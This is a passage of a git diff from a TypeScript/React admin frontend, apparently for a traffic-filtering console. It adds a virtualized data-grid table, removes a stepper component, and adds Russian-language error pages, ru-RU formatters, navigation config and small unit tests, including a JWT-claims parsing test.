DataGridTableRowSpacer,
DataGridTableViewport,
getDataGridScrollAreaViewport,
getDataGridTableMergedHeaderGroups,
getDataGridTableRowSections,
getPinningStyles,
hasDataGridTableRightPinnedColumns,
} from "@/components/reui/data-grid/data-grid-table"
import { Column, flexRender, Row, Table } from "@tanstack/react-table"
import {
useVirtualizer,
VirtualItem,
Virtualizer,
VirtualizerOptions,
} from "@tanstack/react-virtual"
import { cn } from "@evofw/ui/lib/utils"
import { Spinner } from "@evofw/ui/components/spinner"
type DataGridTableVirtualScrollElements = {
containerElement: HTMLDivElement | null
scrollElement: HTMLElement | null
}
type DataGridTableVirtualizerInstance = Virtualizer<
HTMLElement,
HTMLTableRowElement
>
type DataGridTableVirtualizerOptions<TData> = Omit<
VirtualizerOptions<HTMLElement, HTMLTableRowElement>,
"count" | "estimateSize" | "getItemKey" | "getScrollElement"
> & {
estimateSize?: (index: number, row: Row<TData>) => number
getItemKey?: (index: number, row: Row<TData>) => string | number
getScrollElement?: (
elements: DataGridTableVirtualScrollElements
) => HTMLElement | null
}
interface DataGridTableVirtualProps<TData> {
height?: number | string
estimateSize?: number
overscan?: number
footerContent?: ReactNode
renderHeader?: boolean
onFetchMore?: () => void
isFetchingMore?: boolean
hasMore?: boolean
fetchMoreOffset?: number
virtualizerOptions?: DataGridTableVirtualizerOptions<TData>
}
interface VirtualBodyProps<TData> {
table: Table<TData>
topRows: Row<TData>[]
centerRows: Row<TData>[]
bottomRows: Row<TData>[]
virtualItems: VirtualItem[]
totalSize: number
isVirtualizationEnabled: boolean
isInfiniteMode: boolean
isFetchingMore: boolean
hasMore?: boolean
loadingMoreMessage: ReactNode
allRowsLoadedMessage: ReactNode
measureRowRef?: (element: HTMLTableRowElement | null) => void
}
function DataGridTableVirtualPinnedPlaceholderCell<TData>({
column,
}: {
column: Column<TData>
}) {
const { props } = useDataGrid()
const isPinned = column.getIsPinned()
const isLastLeftPinned = isPinned === "left" && column.getIsLastColumn("left")
const isFirstRightPinned =
isPinned === "right" && column.getIsFirstColumn("right")
return (
<td
aria-hidden="true"
style={{
...(props.tableLayout?.columnsPinnable &&
column.getCanPin() &&
getPinningStyles(column)),
...(props.tableLayout?.columnsResizable && {
width: `calc(var(--col-${column.id}-size) * 1px)`,
}),
}}
data-pinned={isPinned || undefined}
data-last-col={
isLastLeftPinned ? "left" : isFirstRightPinned ? "right" : undefined
}
className={cn(
"p-0",
props.tableLayout?.cellBorder && "border-e",
props.tableLayout?.columnsPinnable &&
column.getCanPin() &&
"data-pinned:bg-background data-pinned:isolate [&[data-pinned=left][data-last-col=left]]:shadow-[inset_-1px_0_0_0_var(--border)] [&[data-pinned=right][data-last-col=right]]:shadow-[inset_1px_0_0_0_var(--border)]"
)}
/>
)
}
function DataGridTableVirtualUtilityRow<TData>({
table,
children,
centerCellClassName,
centerCellStyle,
rowClassName,
ariaHidden,
}: {
table: Table<TData>
children: ReactNode
centerCellClassName?: string
centerCellStyle?: CSSProperties
rowClassName?: string
ariaHidden?: boolean
}) {
const { props } = useDataGrid()
const leftVisibleColumns = table.getLeftVisibleLeafColumns()
const centerVisibleColumns = table.getCenterVisibleLeafColumns()
const rightVisibleColumns = table.getRightVisibleLeafColumns()
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
return (
<tr aria-hidden={ariaHidden || undefined} className={rowClassName}>
{leftVisibleColumns.map((column) => (
<DataGridTableVirtualPinnedPlaceholderCell
column={column}
key={column.id}
/>
))}
<td
colSpan={Math.max(centerVisibleColumns.length, 1)}
className={centerCellClassName}
style={centerCellStyle}
>
{children}
</td>
{props.tableLayout?.columnsResizable && hasRightPinnedColumns ? (
<DataGridTableFillBodyCell />
) : null}
{rightVisibleColumns.map((column) => (
<DataGridTableVirtualPinnedPlaceholderCell
column={column}
key={column.id}
/>
))}
{props.tableLayout?.columnsResizable && !hasRightPinnedColumns ? (
<DataGridTableFillBodyCell />
) : null}
</tr>
)
}
function DataGridTableVirtualSpacer<TData>({
table,
height,
}: {
table: Table<TData>
height: number
}) {
if (height <= 0) return null
return (
<DataGridTableVirtualUtilityRow
table={table}
ariaHidden
centerCellClassName="p-0"
centerCellStyle={{ height, padding: 0 }}
>
{null}
</DataGridTableVirtualUtilityRow>
)
}
function DataGridTableVirtualStatusRow<TData>({
table,
children,
className,
}: {
table: Table<TData>
children: ReactNode
className?: string
}) {
return (
<DataGridTableVirtualUtilityRow
table={table}
centerCellClassName={cn(
"text-muted-foreground py-4 text-center text-sm",
className
)}
>
{children}
</DataGridTableVirtualUtilityRow>
)
}
function DataGridTableVirtualBody<TData>({
table,
topRows,
centerRows,
bottomRows,
virtualItems,
totalSize,
isVirtualizationEnabled,
isInfiniteMode,
isFetchingMore,
hasMore,
loadingMoreMessage,
allRowsLoadedMessage,
measureRowRef,
}: VirtualBodyProps<TData>) {
const { isLoading } = useDataGrid()
const totalRows = topRows.length + centerRows.length + bottomRows.length
if (!totalRows) {
// Initial load must not flash the empty state as if the query returned
// nothing.
if (isLoading) {
return (
<DataGridTableVirtualStatusRow table={table}>
<div className="flex items-center justify-center gap-2">
<Spinner className="size-4 opacity-60" />
{loadingMoreMessage}
</div>
</DataGridTableVirtualStatusRow>
)
}
return <DataGridTableEmpty />
}
const hasCenterRows = centerRows.length > 0
const showFetchingRow = isInfiniteMode && isFetchingMore
const showCompleteRow = isInfiniteMode && hasMore === false && totalRows > 0
const hasMiddleSection = hasCenterRows || showFetchingRow || showCompleteRow
const leadingSpacerHeight =
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
? (virtualItems[0]?.start ?? 0)
: 0
const trailingSpacerHeight =
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
? Math.max(
0,
totalSize - (virtualItems[virtualItems.length - 1]?.end ?? 0)
)
: 0
const renderedRows: ReactNode[] = []
topRows.forEach((row, index) => {
renderedRows.push(
<DataGridTableRenderedRow
key={row.id}
row={row}
pinnedBoundary={
index === topRows.length - 1 && hasMiddleSection ? "top" : undefined
}
/>
)
})
if (isVirtualizationEnabled) {
if (leadingSpacerHeight > 0) {
renderedRows.push(
<DataGridTableVirtualSpacer
key="virtual-spacer-start"
table={table}
height={leadingSpacerHeight}
/>
)
}
virtualItems.forEach((virtualRow) => {
const row = centerRows[virtualRow.index]
if (!row) return
renderedRows.push(
<DataGridTableRenderedRow
key={row.id}
row={row}
rowRef={measureRowRef}
rowIndex={virtualRow.index}
/>
)
})
if (trailingSpacerHeight > 0) {
renderedRows.push(
<DataGridTableVirtualSpacer
key="virtual-spacer-end"
table={table}
height={trailingSpacerHeight}
/>
)
}
} else {
centerRows.forEach((row) => {
renderedRows.push(<DataGridTableRenderedRow key={row.id} row={row} />)
})
}
if (showFetchingRow) {
renderedRows.push(
<DataGridTableVirtualStatusRow key="virtual-status-loading" table={table}>
<div className="flex items-center justify-center gap-2">
<Spinner className="size-4 opacity-60" />
{loadingMoreMessage}
</div>
</DataGridTableVirtualStatusRow>
)
}
if (showCompleteRow) {
renderedRows.push(
<DataGridTableVirtualStatusRow
key="virtual-status-complete"
table={table}
className="py-3 text-xs"
>
{allRowsLoadedMessage}
</DataGridTableVirtualStatusRow>
)
}
bottomRows.forEach((row, index) => {
renderedRows.push(
<DataGridTableRenderedRow
key={row.id}
row={row}
pinnedBoundary={
index === 0 && (topRows.length > 0 || hasMiddleSection)
? "bottom"
: undefined
}
/>
)
})
return <>{renderedRows}</>
}
/**
* Memoized virtual body: skip re-renders during active column resize.
* Column widths update via CSS variables on the <table> element,
* so the browser handles width changes without React re-renders.
*/
const MemoizedVirtualBody = memo(
DataGridTableVirtualBody,
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
) as typeof DataGridTableVirtualBody
function DataGridTableVirtual<TData>({
height,
estimateSize = 48,
overscan = 10,
footerContent,
renderHeader = true,
onFetchMore,
isFetchingMore = false,
hasMore,
fetchMoreOffset = 0,
virtualizerOptions,
}: DataGridTableVirtualProps<TData>) {
const { table, props } = useDataGrid()
const mergedHeaderGroups = getDataGridTableMergedHeaderGroups(table)
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
const { topRows, centerRows, bottomRows } = getDataGridTableRowSections(
table,
props.tableLayout?.rowsPinnable
)
const isInfiniteMode = typeof onFetchMore === "function"
const [viewportElements, setViewportElements] =
useState<DataGridTableVirtualScrollElements>({
containerElement: null,
scrollElement: null,
})
const {
estimateSize: customEstimateSize,
getItemKey: customGetItemKey,
getScrollElement: customGetScrollElement,
measureElement: customMeasureElement,
overscan: customOverscan,
...virtualizerOptionsRest
} = virtualizerOptions ?? {}
const isVirtualizationEnabled = virtualizerOptions?.enabled !== false
const loadingMoreMessage =
props.fetchingMoreMessage || props.loadingMessage || "Loading..."
const allRowsLoadedMessage =
props.allRowsLoadedMessage || "All records loaded"
const handleViewportRef = useCallback((node: HTMLDivElement | null) => {
setViewportElements({
containerElement: node,
scrollElement: node
? (getDataGridScrollAreaViewport(node) ?? node)
: null,
})
}, [])
const usesExternalScrollArea =
viewportElements.scrollElement !== null &&
viewportElements.scrollElement !== viewportElements.containerElement
const resolveScrollElement = useCallback(() => {
if (customGetScrollElement) {
return customGetScrollElement(viewportElements)
}
return viewportElements.scrollElement
}, [customGetScrollElement, viewportElements])
const resolveItemKey = useCallback(
(index: number) => {
const row = centerRows[index]
if (!row) return index
return customGetItemKey?.(index, row) ?? row.id ?? index
},
[centerRows, customGetItemKey]
)
const resolveEstimateSize = useCallback(
(index: number) => {
const row = centerRows[index]
return row
? (customEstimateSize?.(index, row) ?? estimateSize)
: estimateSize
},
[centerRows, customEstimateSize, estimateSize]
)
const virtualizer = useVirtualizer({
count: centerRows.length,
getScrollElement: resolveScrollElement,
getItemKey: resolveItemKey,
estimateSize: resolveEstimateSize,
overscan: customOverscan ?? overscan,
measureElement: customMeasureElement,
...virtualizerOptionsRest,
}) as DataGridTableVirtualizerInstance
const virtualItems = isVirtualizationEnabled
? virtualizer.getVirtualItems()
: []
const totalSize = isVirtualizationEnabled ? virtualizer.getTotalSize() : 0
const measureRowRef =
isVirtualizationEnabled && customMeasureElement
? virtualizer.measureElement
: undefined
const resolvedFetchMoreOffset = Math.max(0, fetchMoreOffset)
// Latch onFetchMore per row count: virtualItems gets a new identity every
// scroll frame, so without it the effect fires duplicate page requests
// before the consumer flips isFetchingMore, and loops at end-of-data when
// hasMore is never set.
const fetchMoreFiredAtCountRef = useRef<number | null>(null)
useEffect(() => {
if (
!isVirtualizationEnabled ||
!isInfiniteMode ||
hasMore === false ||
isFetchingMore
) {
return
}
const lastItem = virtualItems[virtualItems.length - 1]
if (!lastItem) return
if (fetchMoreFiredAtCountRef.current === centerRows.length) return
if (lastItem.index >= centerRows.length - 1 - resolvedFetchMoreOffset) {
fetchMoreFiredAtCountRef.current = centerRows.length
onFetchMore?.()
}
}, [
centerRows.length,
hasMore,
isFetchingMore,
isInfiniteMode,
isVirtualizationEnabled,
onFetchMore,
resolvedFetchMoreOffset,
virtualItems,
])
return (
<DataGridTableViewport
viewportRef={handleViewportRef}
className={!usesExternalScrollArea ? "block" : undefined}
style={
usesExternalScrollArea
? undefined
: {
height,
overflow: "auto",
position: "relative",
// Standalone mode: this node IS the scroll container, so it
// must stay at its parent's width (not the resizable table
// width) or horizontal scrolling becomes impossible.
width: "auto",
}
}
>
<DataGridTableBase>
{renderHeader && (
<DataGridTableHead>
{mergedHeaderGroups.map((headerGroup) => (
<DataGridTableHeadRow key={headerGroup.id} rowId={headerGroup.id}>
{headerGroup.headers
.filter((header) => header.column.getIsPinned() !== "right")
.map((header) => {
const { column } = header
return (
<DataGridTableHeadRowCell header={header} key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext()
)}
{props.tableLayout?.columnsResizable &&
column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</DataGridTableHeadRowCell>
)
})}
{props.tableLayout?.columnsResizable &&
hasRightPinnedColumns ? (
<DataGridTableFillHeadCell />
) : null}
{headerGroup.headers
.filter((header) => header.column.getIsPinned() === "right")
.map((header) => {
const { column } = header
return (
<DataGridTableHeadRowCell header={header} key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext()
)}
{props.tableLayout?.columnsResizable &&
column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</DataGridTableHeadRowCell>
)
})}
{props.tableLayout?.columnsResizable &&
!hasRightPinnedColumns ? (
<DataGridTableFillHeadCell />
) : null}
</DataGridTableHeadRow>
))}
</DataGridTableHead>
)}
{renderHeader &&
(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
<DataGridTableRowSpacer />
)}
<DataGridTableBody>
<MemoizedVirtualBody
table={table}
topRows={topRows}
centerRows={centerRows}
bottomRows={bottomRows}
virtualItems={virtualItems}
totalSize={totalSize}
isVirtualizationEnabled={isVirtualizationEnabled}
isInfiniteMode={isInfiniteMode}
isFetchingMore={isFetchingMore}
hasMore={hasMore}
loadingMoreMessage={loadingMoreMessage}
allRowsLoadedMessage={allRowsLoadedMessage}
measureRowRef={measureRowRef}
/>
</DataGridTableBody>
{footerContent && (
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
)}
</DataGridTableBase>
</DataGridTableViewport>
)
}
export { DataGridTableVirtual }
export type {
DataGridTableVirtualProps,
DataGridTableVirtualScrollElements,
DataGridTableVirtualizerOptions,
}
-477
View File
@@ -1,477 +0,0 @@
import {
Children,
createContext,
HTMLAttributes,
isValidElement,
ReactElement,
useCallback,
useContext,
useEffect,
useMemo,
useRef,
useState,
} from "react"
import { mergeProps } from "@base-ui/react/merge-props"
import { useRender } from "@base-ui/react/use-render"
import { cn } from "@evofw/ui/lib/utils"
// Types
type StepperOrientation = "horizontal" | "vertical"
type StepState = "active" | "completed" | "inactive" | "loading"
type StepIndicators = {
active?: React.ReactNode
completed?: React.ReactNode
inactive?: React.ReactNode
loading?: React.ReactNode
}
interface StepperContextValue {
activeStep: number
setActiveStep: (step: number) => void
stepsCount: number
orientation: StepperOrientation
registerTrigger: (node: HTMLButtonElement | null) => void
triggerNodes: HTMLButtonElement[]
focusNext: (currentIdx: number) => void
focusPrev: (currentIdx: number) => void
focusFirst: () => void
focusLast: () => void
indicators: StepIndicators
}
interface StepItemContextValue {
step: number
state: StepState
isDisabled: boolean
isLoading: boolean
}
const StepperContext = createContext<StepperContextValue | undefined>(undefined)
const StepItemContext = createContext<StepItemContextValue | undefined>(
undefined
)
function useStepper() {
const ctx = useContext(StepperContext)
if (!ctx) throw new Error("useStepper must be used within a Stepper")
return ctx
}
function useStepItem() {
const ctx = useContext(StepItemContext)
if (!ctx) throw new Error("useStepItem must be used within a StepperItem")
return ctx
}
interface StepperProps extends HTMLAttributes<HTMLDivElement> {
defaultValue?: number
value?: number
onValueChange?: (value: number) => void
orientation?: StepperOrientation
indicators?: StepIndicators
}
function Stepper({
defaultValue = 1,
value,
onValueChange,
orientation = "horizontal",
className,
children,
indicators = {},
...props
}: StepperProps) {
const [activeStep, setActiveStep] = useState(defaultValue)
const [triggerNodes, setTriggerNodes] = useState<HTMLButtonElement[]>([])
// Register/unregister triggers
const registerTrigger = useCallback((node: HTMLButtonElement | null) => {
setTriggerNodes((prev) => {
if (node && !prev.includes(node)) {
return [...prev, node]
} else if (!node && prev.includes(node!)) {
return prev.filter((n) => n !== node)
} else {
return prev
}
})
}, [])
const handleSetActiveStep = useCallback(
(step: number) => {
if (value === undefined) {
setActiveStep(step)
}
onValueChange?.(step)
},
[value, onValueChange]
)
const currentStep = value ?? activeStep
// Keyboard navigation logic
const focusTrigger = (idx: number) => {
if (triggerNodes[idx]) triggerNodes[idx].focus()
}
const focusNext = (currentIdx: number) =>
focusTrigger((currentIdx + 1) % triggerNodes.length)
const focusPrev = (currentIdx: number) =>
focusTrigger((currentIdx - 1 + triggerNodes.length) % triggerNodes.length)
const focusFirst = () => focusTrigger(0)
const focusLast = () => focusTrigger(triggerNodes.length - 1)
// Context value
const contextValue = useMemo<StepperContextValue>(
() => ({
activeStep: currentStep,
setActiveStep: handleSetActiveStep,
stepsCount: Children.toArray(children).filter(
(child): child is ReactElement =>
isValidElement(child) &&
(child.type as { displayName?: string }).displayName === "StepperItem"
).length,
orientation,
registerTrigger,
focusNext,
focusPrev,
focusFirst,
focusLast,
triggerNodes,
indicators,
}),
[
currentStep,
handleSetActiveStep,
children,
orientation,
registerTrigger,
triggerNodes,
]
)
return (
<StepperContext.Provider value={contextValue}>
<div
role="tablist"
aria-orientation={orientation}
data-slot="stepper"
className={cn("w-full", className)}
data-orientation={orientation}
{...props}
>
{children}
</div>
</StepperContext.Provider>
)
}
interface StepperItemProps extends React.HTMLAttributes<HTMLDivElement> {
step: number
completed?: boolean
disabled?: boolean
loading?: boolean
}
function StepperItem({
step,
completed = false,
disabled = false,
loading = false,
className,
children,
...props
}: StepperItemProps) {
const { activeStep } = useStepper()
const state: StepState =
completed || step < activeStep
? "completed"
: activeStep === step
? "active"
: "inactive"
const isLoading = loading && step === activeStep
return (
<StepItemContext.Provider
value={{ step, state, isDisabled: disabled, isLoading }}
>
<div
data-slot="stepper-item"
className={cn(
"group/step flex items-center justify-center not-last:flex-1 group-data-[orientation=horizontal]/stepper-nav:flex-row group-data-[orientation=vertical]/stepper-nav:flex-col",
className
)}
data-state={state}
{...(isLoading ? { "data-loading": true } : {})}
{...props}
>
{children}
</div>
</StepItemContext.Provider>
)
}
type StepperTriggerProps = useRender.ComponentProps<"button">
function StepperTrigger({
className,
children,
tabIndex,
render,
...props
}: StepperTriggerProps) {
const { state, isLoading } = useStepItem()
const stepperCtx = useStepper()
const {
setActiveStep,
activeStep,
registerTrigger,
triggerNodes,
focusNext,
focusPrev,
focusFirst,
focusLast,
} = stepperCtx
const { step, isDisabled } = useStepItem()
const isSelected = activeStep === step
const id = `stepper-tab-${step}`
const panelId = `stepper-panel-${step}`
// Register this trigger for keyboard navigation
const btnRef = useRef<HTMLButtonElement>(null)
useEffect(() => {
if (btnRef.current) {
registerTrigger(btnRef.current)
}
}, [btnRef.current])
// Find our index among triggers for navigation
const myIdx = useMemo(
() =>
triggerNodes.findIndex((n: HTMLButtonElement) => n === btnRef.current),
[triggerNodes, btnRef.current]
)
const handleKeyDown = (e: React.KeyboardEvent<HTMLButtonElement>) => {
switch (e.key) {
case "ArrowRight":
case "ArrowDown":
e.preventDefault()
if (myIdx !== -1 && focusNext) focusNext(myIdx)
break
case "ArrowLeft":
case "ArrowUp":
e.preventDefault()
if (myIdx !== -1 && focusPrev) focusPrev(myIdx)
break
case "Home":
e.preventDefault()
if (focusFirst) focusFirst()
break
case "End":
e.preventDefault()
if (focusLast) focusLast()
break
case "Enter":
case " ":
e.preventDefault()
setActiveStep(step)
break
}
}
const defaultProps = {
role: "tab",
id,
"aria-selected": isSelected,
"aria-controls": panelId,
tabIndex: typeof tabIndex === "number" ? tabIndex : isSelected ? 0 : -1,
"data-slot": "stepper-trigger",
"data-state": state,
"data-loading": isLoading,
className: cn(
"focus-visible:border-ring focus-visible:ring-ring/50 inline-flex cursor-pointer items-center outline-none focus-visible:z-10 focus-visible:ring-3 disabled:pointer-events-none disabled:opacity-60",
"gap-2.5 rounded-full",
className
),
onClick: () => setActiveStep(step),
onKeyDown: handleKeyDown,
disabled: isDisabled,
children,
}
return useRender({
defaultTagName: "button",
render,
ref: btnRef,
props: mergeProps<"button">(defaultProps, props),
})
}
function StepperIndicator({
children,
className,
}: React.ComponentProps<"div">) {
const { state, isLoading } = useStepItem()
const { indicators } = useStepper()
return (
<div
data-slot="stepper-indicator"
data-state={state}
className={cn(
"border-background bg-accent text-accent-foreground data-[state=completed]:bg-primary data-[state=completed]:text-primary-foreground data-[state=active]:bg-primary data-[state=active]:text-primary-foreground relative flex size-6 shrink-0 items-center justify-center overflow-hidden",
"rounded-full text-xs",
className
)}
>
<div className="absolute">
{indicators &&
((isLoading && indicators.loading) ||
(state === "completed" && indicators.completed) ||
(state === "active" && indicators.active) ||
(state === "inactive" && indicators.inactive))
? (isLoading && indicators.loading) ||
(state === "completed" && indicators.completed) ||
(state === "active" && indicators.active) ||
(state === "inactive" && indicators.inactive)
: children}
</div>
</div>
)
}
function StepperSeparator({ className }: React.ComponentProps<"div">) {
const { state } = useStepItem()
return (
<div
data-slot="stepper-separator"
data-state={state}
className={cn(
"bg-muted rounded-sm group-data-[orientation=horizontal]/stepper-nav:h-0.5 group-data-[orientation=vertical]/stepper-nav:h-12 group-data-[orientation=vertical]/stepper-nav:w-0.5 m-0.5 group-data-[orientation=horizontal]/stepper-nav:flex-1",
className
)}
/>
)
}
function StepperTitle({ children, className }: React.ComponentProps<"h3">) {
const { state } = useStepItem()
return (
<h3
data-slot="stepper-title"
data-state={state}
className={cn(
"text-sm leading-none font-medium",
className
)}
>
{children}
</h3>
)
}
function StepperDescription({
children,
className,
}: React.ComponentProps<"div">) {
const { state } = useStepItem()
return (
<div
data-slot="stepper-description"
data-state={state}
className={cn(
"text-muted-foreground text-sm",
className
)}
>
{children}
</div>
)
}
function StepperNav({ children, className }: React.ComponentProps<"nav">) {
const { activeStep, orientation } = useStepper()
return (
<nav
data-slot="stepper-nav"
data-state={activeStep}
data-orientation={orientation}
className={cn(
"group/stepper-nav inline-flex data-[orientation=horizontal]:w-full data-[orientation=horizontal]:flex-row data-[orientation=vertical]:flex-col",
className
)}
>
{children}
</nav>
)
}
function StepperPanel({ children, className }: React.ComponentProps<"div">) {
const { activeStep } = useStepper()
return (
<div
data-slot="stepper-panel"
data-state={activeStep}
className={cn("w-full", className)}
>
{children}
</div>
)
}
interface StepperContentProps extends React.ComponentProps<"div"> {
value: number
forceMount?: boolean
}
function StepperContent({
value,
forceMount,
children,
className,
}: StepperContentProps) {
const { activeStep } = useStepper()
const isActive = value === activeStep
if (!forceMount && !isActive) {
return null
}
return (
<div
data-slot="stepper-content"
data-state={activeStep}
className={cn("w-full", className, !isActive && forceMount && "hidden")}
hidden={!isActive && forceMount}
>
{children}
</div>
)
}
export {
useStepper,
useStepItem,
Stepper,
StepperItem,
StepperTrigger,
StepperIndicator,
StepperSeparator,
StepperTitle,
StepperDescription,
StepperPanel,
StepperContent,
StepperNav,
type StepperProps,
type StepperItemProps,
type StepperTriggerProps,
type StepperContentProps,
}
+66
View File
@@ -0,0 +1,66 @@
import { Link } from '@tanstack/react-router'
import { CircleAlertIcon, SearchXIcon } from 'lucide-react'
import { Button } from '@evofw/ui/components/button'
/**
* Route-level error/not-found fallbacks (ReUI Frame look, RU copy).
* Preview: https://reui.io/preview/base/feature-4 (centered error panel)
*/
/** Error thrown by the root guard while the browser is already navigating to the portal. */
const PORTAL_REDIRECT_MESSAGE = 'redirecting to portal'
export function RouteErrorComponent({
error,
reset,
}: {
error: Error
reset: () => void
}) {
if (error.message === PORTAL_REDIRECT_MESSAGE) return null
return (
<div
role="alert"
className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center"
>
<CircleAlertIcon className="text-destructive size-10" aria-hidden />
<div className="space-y-1">
<h1 className="text-lg font-semibold">Что-то пошло не так</h1>
<p className="text-muted-foreground max-w-md text-sm">
Раздел не загрузился. Проверьте соединение с API и попробуйте снова.
</p>
{import.meta.env.DEV && error.message ? (
<p className="text-muted-foreground/80 font-mono text-xs">
{error.message}
</p>
) : null}
</div>
<div className="flex gap-2">
<Button size="sm" onClick={reset}>
Повторить
</Button>
<Button size="sm" variant="outline" render={<Link to="/" />}>
На главную
</Button>
</div>
</div>
)
}
export function RouteNotFoundComponent() {
return (
<div className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center">
<SearchXIcon className="text-muted-foreground size-10" aria-hidden />
<div className="space-y-1">
<h1 className="text-lg font-semibold">Страница не найдена</h1>
<p className="text-muted-foreground max-w-md text-sm">
Адрес не существует или был перемещён.
</p>
</div>
<Button size="sm" render={<Link to="/" />}>
На главную
</Button>
</div>
)
}
View File
Whitespace-only changes.
View File
Whitespace-only changes.
+36
View File
@@ -0,0 +1,36 @@
import { describe, it, expect } from 'vitest'
import { parseClaims } from './auth'
function makeToken(payload: object): string {
const b64 = (obj: object) =>
btoa(JSON.stringify(obj))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '')
return `${b64({ alg: 'none' })}.${b64(payload)}.sig`
}
describe('parseClaims', () => {
it('parses a portal JWT payload', () => {
const claims = parseClaims(
makeToken({
sub: 'u1',
email: 'a@b.c',
name: 'Admin',
apps: ['fw'],
permissions: ['fw:agents:write'],
is_admin: true,
exp: 1893456000,
}),
)
expect(claims?.sub).toBe('u1')
expect(claims?.apps).toEqual(['fw'])
expect(claims?.is_admin).toBe(true)
})
it('returns null for garbage / wrong shapes', () => {
expect(parseClaims('not-a-jwt')).toBeNull()
expect(parseClaims('a.b')).toBeNull()
expect(parseClaims('%%%')).toBeNull()
})
})
+74
View File
@@ -0,0 +1,74 @@
/**
* Shared ru-RU formatters — single source for dates/numbers across the app.
* All timestamps are ISO strings from the API.
*/
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const numberFmt = new Intl.NumberFormat('ru-RU')
const shortDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
const dateTimeFmt = new Intl.DateTimeFormat('ru-RU')
const stampDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
year: 'numeric',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
const timeFmt = new Intl.DateTimeFormat('ru-RU', {
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
/** Compact packet counter: 1,2K / 3,4M */
export function formatPackets(n: number | undefined | null): string {
if (n === undefined || n === null) return '—'
return packetFmt.format(n)
}
export function formatNumber(n: number | undefined | null): string {
if (n === undefined || n === null) return '—'
return numberFmt.format(n)
}
/** dd.MM HH:mm — dense "seen" stamps in grids/cards */
export function formatShortDateTime(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return shortDateTimeFmt.format(new Date(t))
}
/** Full locale date-time for detail panels */
export function formatDateTime(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return iso
return dateTimeFmt.format(new Date(t))
}
/** dd.MM.yyyy HH:mm:ss — block-stats "seen" stamps */
export function formatStampDateTime(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return iso
return stampDateTimeFmt.format(new Date(t))
}
export function formatTime(d: Date): string {
return timeFmt.format(d)
}
+27
View File
@@ -0,0 +1,27 @@
import { describe, it, expect } from 'vitest'
import { NAV_ITEMS, NAV_SECTIONS, navLabel, navParentForDetail } from './nav'
describe('nav config', () => {
it('every nav item has label, icon, keywords and a known section', () => {
const sectionIds = new Set(NAV_SECTIONS.map((s) => s.id))
for (const item of NAV_ITEMS) {
expect(item.label.length).toBeGreaterThan(0)
expect(item.keywords.length).toBeGreaterThan(0)
expect(sectionIds.has(item.section)).toBe(true)
}
})
it('navLabel resolves known routes', () => {
expect(navLabel('/')).toBe('Панель управления')
expect(navLabel('/agents')).toBe('Агенты')
expect(navLabel('/nope')).toBeUndefined()
})
it('navParentForDetail maps detail routes to parents', () => {
expect(navParentForDetail('/agents/abc')).toBe('/agents')
expect(navParentForDetail('/lists/abc')).toBe('/lists')
expect(navParentForDetail('/rules/set-1')).toBe('/rules')
expect(navParentForDetail('/settings')).toBeUndefined()
expect(navParentForDetail('/agents/abc/preview')).toBeUndefined()
})
})
+95
View File
@@ -0,0 +1,95 @@
import {
BarChart3Icon,
LayoutDashboardIcon,
ListIcon,
ServerIcon,
SettingsIcon,
ShieldIcon,
} from 'lucide-react'
/**
* Single source of the app's route structure: sidebar sections, ⌘K search and
* header breadcrumbs all render from this config.
*/
export type NavSectionId = 'overview' | 'ops' | 'system'
export type NavItem = {
to: string
label: string
/** Exact active-state match (root only); prefix match otherwise. */
exact?: boolean
keywords: string[]
icon: typeof ServerIcon
section: NavSectionId
}
export const NAV_ITEMS: readonly NavItem[] = [
{
to: '/',
label: 'Панель управления',
exact: true,
keywords: ['dashboard', 'панель', 'обзор'],
icon: LayoutDashboardIcon,
section: 'overview',
},
{
to: '/agents',
label: 'Агенты',
keywords: ['agents', 'агенты', 'nodes'],
icon: ServerIcon,
section: 'ops',
},
{
to: '/lists',
label: 'Списки',
keywords: ['lists', 'списки', 'blocklist'],
icon: ListIcon,
section: 'ops',
},
{
to: '/rules',
label: 'Наборы правил',
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
icon: ShieldIcon,
section: 'ops',
},
{
to: '/stats',
label: 'Статистика',
keywords: ['stats', 'статистика', 'packets'],
icon: BarChart3Icon,
section: 'ops',
},
{
to: '/settings',
label: 'Настройки',
keywords: ['settings', 'настройки'],
icon: SettingsIcon,
section: 'system',
},
]
export const NAV_SECTIONS = [
{ id: 'overview', label: 'Обзор' },
{ id: 'ops', label: 'Операции' },
{ id: 'system', label: 'Система' },
] as const satisfies readonly { id: NavSectionId; label: string }[]
export function navItemsForSection(section: NavSectionId): readonly NavItem[] {
return NAV_ITEMS.filter((item) => item.section === section)
}
export function navLabel(to: string): string | undefined {
return NAV_ITEMS.find((item) => item.to === to)?.label
}
/** Detail routes (…/:id) that nest under a nav route. */
const DETAIL_PARENT_RE = /^\/(agents|lists|rules)\/[^/]+$/
export function navParentForDetail(
pathname: string,
): string | undefined {
const m = pathname.match(DETAIL_PARENT_RE)
return m ? `/${m[1]}` : undefined
}
+19
View File
@@ -0,0 +1,19 @@
import { hasPermission } from '@evofw/shared'
